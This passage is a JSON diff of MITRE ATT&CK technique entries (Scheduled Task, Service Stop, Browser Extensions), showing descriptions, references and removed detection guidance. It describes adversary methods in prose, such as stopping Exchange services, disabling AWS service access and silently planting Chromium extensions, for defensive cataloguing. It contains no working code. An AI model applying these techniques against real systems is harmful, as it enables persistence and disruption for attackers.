Hide Schedule Task - Registry. Retrieved June 1, 2022.", + "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_sd_value_removal.yml" + }, + { + "source_name": "Stack Overflow", + "description": "Stack Overflow. (n.d.). How to find the location of the Scheduled Tasks folder. Retrieved June 19, 2024.", + "url": "https://stackoverflow.com/questions/2913816/how-to-find-the-location-of-the-scheduled-tasks-folder" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Andrew Northern, @ex_raritas", + "Bryan Campbell, @bry_campbell", + "Selena Larson, @selenalarson", + "Sittikorn Sangrattanapitak", + "Zachary Abzug, @ZackDoesML" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.8", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Creation\", \"File: File Modification\", \"File: File Creation\", \"Process: Process Creation\", \"Command: Command Execution\", \"Network Traffic: Network Traffic Flow\", \"Scheduled Job: Scheduled Job Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:19.176000+00:00\", \"old_value\": \"2025-04-15 19:58:01.010000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\\\System32\\\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\\n\\nConfigure event logging for scheduled task creation and changes by enabling the \\\"Microsoft-Windows-TaskScheduler/Operational\\\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\\n\\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\\n\\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\\n\\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\", \"diff\": \"--- \\n+++ \\n@@ -1,14 +0,0 @@\\n-Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\\\System32\\\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\\n-\\n-Configure event logging for scheduled task creation and changes by enabling the \\\"Microsoft-Windows-TaskScheduler/Operational\\\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\\n-\\n-* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\\n-* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\\n-* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\\n-* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\\n-* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\\n-* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\\n-\\n-Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\\n-\\n-Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.8\", \"old_value\": \"1.7\"}}}", + "previous_version": "1.7", + "version_change": "1.7 \u2192 1.8", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1028: Operating System Configuration", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0003: Scheduled Job (Scheduled Job Creation)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0441: Detection of Suspicious Scheduled Task Creation and Execution on Windows" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-29 19:00:55.901000+00:00", + "modified": "2025-10-24 17:48:30.688000+00:00", + "name": "Service Stop", + "description": "Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.(Citation: SecureWorks WannaCry Analysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)\n\nThreat actors may also disable or stop service in cloud environments. For example, by leveraging the `DisableAPIServiceAccess` API in AWS, a threat actor may prevent the service from creating service-linked roles on new accounts in the AWS Organization.(Citation: Datadog Security Labs Cloud Persistence 2025)(Citation: AWS DisableAWSServiceAccess)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1489", + "external_id": "T1489" + }, + { + "source_name": "AWS DisableAWSServiceAccess", + "description": "AWS. (n.d.). DisableAWSServiceAccess. Retrieved May 22, 2025.", + "url": "https://docs.aws.amazon.com/organizations/latest/APIReference/API_DisableAWSServiceAccess.html" + }, + { + "source_name": "SecureWorks WannaCry Analysis", + "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.", + "url": "https://www.secureworks.com/research/wcry-ransomware-analysis" + }, + { + "source_name": "Datadog Security Labs Cloud Persistence 2025", + "description": "Martin McCloskey. (2025, May 13). Tales from the cloud trenches: The Attacker doth persist too much, methinks. Retrieved May 22, 2025.", + "url": "https://securitylabs.datadoghq.com/articles/tales-from-the-cloud-trenches-the-attacker-doth-persist-too-much/" + }, + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + }, + { + "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021", + "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.", + "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/" + }, + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Liran Ravich, CardinalOps" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "IaaS", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Liran Ravich, CardinalOps\"]}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Process: Process Termination\", \"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\", \"File: File Modification\", \"Process: OS API Execution\", \"Service: Service Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:30.688000+00:00\", \"old_value\": \"2025-04-15 19:58:12.942000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \\n\\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.(Citation: SecureWorks WannaCry Analysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)\\n\\nThreat actors may also disable or stop service in cloud environments. For example, by leveraging the `DisableAPIServiceAccess` API in AWS, a threat actor may prevent the service from creating service-linked roles on new accounts in the AWS Organization.(Citation: Datadog Security Labs Cloud Persistence 2025)(Citation: AWS DisableAWSServiceAccess)\", \"old_value\": \"Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \\n\\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.(Citation: SecureWorks WannaCry Analysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \\n \\n Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.(Citation: SecureWorks WannaCry Analysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)\\n+\\n+Threat actors may also disable or stop service in cloud environments. For example, by leveraging the `DisableAPIServiceAccess` API in AWS, a threat actor may prevent the service from creating service-linked roles on new accounts in the AWS Organization.(Citation: Datadog Security Labs Cloud Persistence 2025)(Citation: AWS DisableAWSServiceAccess)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments to see if critical processes are terminated or stop running.\\n\\nMonitor for edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to services that do not correlate with known software, patch cycles, etc. Windows service information is stored in the Registry at HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. Systemd service unit files are stored within the /etc/systemd/system, /usr/lib/systemd/system/, and /home/.config/systemd/user/ directories, as well as associated symbolic links.\\n\\nAlterations to the service binary path or the service startup type changed to disabled may be suspicious.\\n\\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Monitor processes and command-line arguments to see if critical processes are terminated or stop running.\\n-\\n-Monitor for edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to services that do not correlate with known software, patch cycles, etc. Windows service information is stored in the Registry at HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. Systemd service unit files are stored within the /etc/systemd/system, /usr/lib/systemd/system/, and /home/.config/systemd/user/ directories, as well as associated symbolic links.\\n-\\n-Alterations to the service binary path or the service startup type changed to disabled may be suspicious.\\n-\\n-Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"AWS DisableAWSServiceAccess\", \"description\": \"AWS. (n.d.). DisableAWSServiceAccess. Retrieved May 22, 2025.\", \"url\": \"https://docs.aws.amazon.com/organizations/latest/APIReference/API_DisableAWSServiceAccess.html\"}, \"root['external_references'][3]\": {\"source_name\": \"Datadog Security Labs Cloud Persistence 2025\", \"description\": \"Martin McCloskey. (2025, May 13). Tales from the cloud trenches: The Attacker doth persist too much, methinks. Retrieved May 22, 2025.\", \"url\": \"https://securitylabs.datadoghq.com/articles/tales-from-the-cloud-trenches-the-attacker-doth-persist-too-much/\"}, \"root['x_mitre_platforms'][1]\": \"IaaS\"}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may stop or disable services on a system to rendt1Adversaries may stop or disable services on a system to rend
>er those services unavailable to legitimate users. Stopping >er those services unavailable to legitimate users. Stopping 
>critical services or processes can inhibit or stop response >critical services or processes can inhibit or stop response 
>to an incident or aid in the adversary's overall objectives >to an incident or aid in the adversary's overall objectives 
>to cause damage to the environment.(Citation: Talos Olympic >to cause damage to the environment.(Citation: Talos Olympic 
>Destroyer 2018)(Citation: Novetta Blockbuster)   Adversaries>Destroyer 2018)(Citation: Novetta Blockbuster)   Adversaries
> may accomplish this by disabling individual services of hig> may accomplish this by disabling individual services of hig
>h importance to an organization, such as <code>MSExchangeIS<>h importance to an organization, such as <code>MSExchangeIS<
>/code>, which will make Exchange content inaccessible.(Citat>/code>, which will make Exchange content inaccessible.(Citat
>ion: Novetta Blockbuster) In some cases, adversaries may sto>ion: Novetta Blockbuster) In some cases, adversaries may sto
>p or disable many or all services to render systems unusable>p or disable many or all services to render systems unusable
>.(Citation: Talos Olympic Destroyer 2018) Services or proces>.(Citation: Talos Olympic Destroyer 2018) Services or proces
>ses may not allow for modification of their data stores whil>ses may not allow for modification of their data stores whil
>e running. Adversaries may stop services or processes in ord>e running. Adversaries may stop services or processes in ord
>er to conduct [Data Destruction](https://attack.mitre.org/te>er to conduct [Data Destruction](https://attack.mitre.org/te
>chniques/T1485) or [Data Encrypted for Impact](https://attac>chniques/T1485) or [Data Encrypted for Impact](https://attac
>k.mitre.org/techniques/T1486) on the data stores of services>k.mitre.org/techniques/T1486) on the data stores of services
> like Exchange and SQL Server, or on virtual machines hosted> like Exchange and SQL Server, or on virtual machines hosted
> on ESXi infrastructure.(Citation: SecureWorks WannaCry Anal> on ESXi infrastructure.(Citation: SecureWorks WannaCry Anal
>ysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021>ysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021
>)>)  Threat actors may also disable or stop service in cloud e
 >nvironments. For example, by leveraging the `DisableAPIServi
 >ceAccess` API in AWS, a threat actor may prevent the service
 > from creating service-linked roles on new accounts in the A
 >WS Organization.(Citation: Datadog Security Labs Cloud Persi
 >stence 2025)(Citation: AWS DisableAWSServiceAccess)
", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1024: Restrict Registry Permissions", + "M1030: Network Segmentation", + "M1060: Out-of-Band Communications Channel" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Termination)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Metadata)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0021: Behavioral Detection for Service Stop across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--278716b1-61ce-4a74-8d17-891d0c494101", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-03-30 22:12:27.799000+00:00", + "modified": "2025-09-22 17:00:42.545000+00:00", + "name": "Browser Extensions", + "description": "Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition) \n \nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores, so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary-controlled server or manipulate the mobile configuration file to silently install additional extensions. \n\nAdversaries may abuse how chromium-based browsers load extensions by modifying or replacing the Preferences and/or Secure Preferences files to silently install malicious extensions. When the browser is not running, adversaries can alter these files, ensuring the extension is loaded, granted desired permissions, and will persist in browser sessions. This method does not require user consent and extensions are silently loaded in the background from disk or from the browser's trusted store.(Citation: Pulsedive)\n \nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles; however, .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS) \n \nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) \n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for [Command and Control](https://attack.mitre.org/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for [Defense Evasion](https://attack.mitre.org/tactics/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adrozek) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1176/001", + "external_id": "T1176.001" + }, + { + "source_name": "Pulsedive", + "description": " Pulsedive Threat Research. (2025, March 21). Rilide - An Information Stealing Browser Extension. Retrieved September 22, 2025.", + "url": "https://blog.pulsedive.com/rilide-an-information-stealing-browser-extension/" + }, + { + "source_name": "Chrome Extension Crypto Miner", + "description": "Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017.", + "url": "https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/" + }, + { + "source_name": "xorrior chrome extensions macOS", + "description": "Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021.", + "url": "https://www.xorrior.com/No-Place-Like-Chrome/" + }, + { + "source_name": "Chrome Extensions Definition", + "description": "Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017.", + "url": "https://developer.chrome.com/extensions" + }, + { + "source_name": "ICEBRG Chrome Extensions", + "description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.", + "url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses" + }, + { + "source_name": "Malicious Chrome Extension Numbers", + "description": "Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017.", + "url": "https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf" + }, + { + "source_name": "Chrome Extension C2 Malware", + "description": "Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved September 12, 2024.", + "url": "https://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/" + }, + { + "source_name": "Catch All Chrome Extension", + "description": "Marinho, R. (n.d.). \"Catch-All\" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017.", + "url": "https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)" + }, + { + "source_name": "Banker Google Chrome Extension Steals Creds", + "description": "Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017.", + "url": "https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/" + }, + { + "source_name": "Browser Adrozek", + "description": "Microsoft Threat Intelligence. (2020, December 10). Widespread malware campaign seeks to silently inject ads into search results, affects multiple browsers. Retrieved February 26, 2024.", + "url": "https://www.microsoft.com/en-us/security/blog/2020/12/10/widespread-malware-campaign-seeks-to-silently-inject-ads-into-search-results-affects-multiple-browsers/" + }, + { + "source_name": "Browers FriarFox", + "description": "Raggi, Michael. Proofpoint Threat Research Team. (2021, February 25). TA413 Leverages New FriarFox Browser Extension to Target the Gmail Accounts of Global Tibetan Organizations. Retrieved November 17, 2024.", + "url": "https://www.proofpoint.com/uk/blog/threat-insight/ta413-leverages-new-friarfox-browser-extension-target-gmail-accounts-global" + }, + { + "source_name": "Stantinko Botnet", + "description": "Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017.", + "url": "https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/" + }, + { + "source_name": "Wikipedia Browser Extension", + "description": "Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018.", + "url": "https://en.wikipedia.org/wiki/Browser_extension" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Gordon Long, LegioX/Zoom, asaurusrex" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Gordon Long, LegioX/Zoom, asaurusrex\"]}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Creation\", \"Process: Process Creation\", \"Command: Command Execution\", \"File: File Creation\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-09-22 17:00:42.545000+00:00\", \"old_value\": \"2025-04-15 19:58:15.232000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition) \\n \\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores, so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary-controlled server or manipulate the mobile configuration file to silently install additional extensions. \\n\\nAdversaries may abuse how chromium-based browsers load extensions by modifying or replacing the Preferences and/or Secure Preferences files to silently install malicious extensions. When the browser is not running, adversaries can alter these files, ensuring the extension is loaded, granted desired permissions, and will persist in browser sessions. This method does not require user consent and extensions are silently loaded in the background from disk or from the browser's trusted store.(Citation: Pulsedive)\\n \\nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles; however, .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS) \\n \\nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) \\n\\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for [Command and Control](https://attack.mitre.org/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for [Defense Evasion](https://attack.mitre.org/tactics/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adrozek) \", \"old_value\": \"Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition) \\n \\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores, so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary-controlled server or manipulate the mobile configuration file to silently install additional extensions. \\n \\nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles; however, .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS) \\n \\nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) \\n\\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for [Command and Control](https://attack.mitre.org/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may 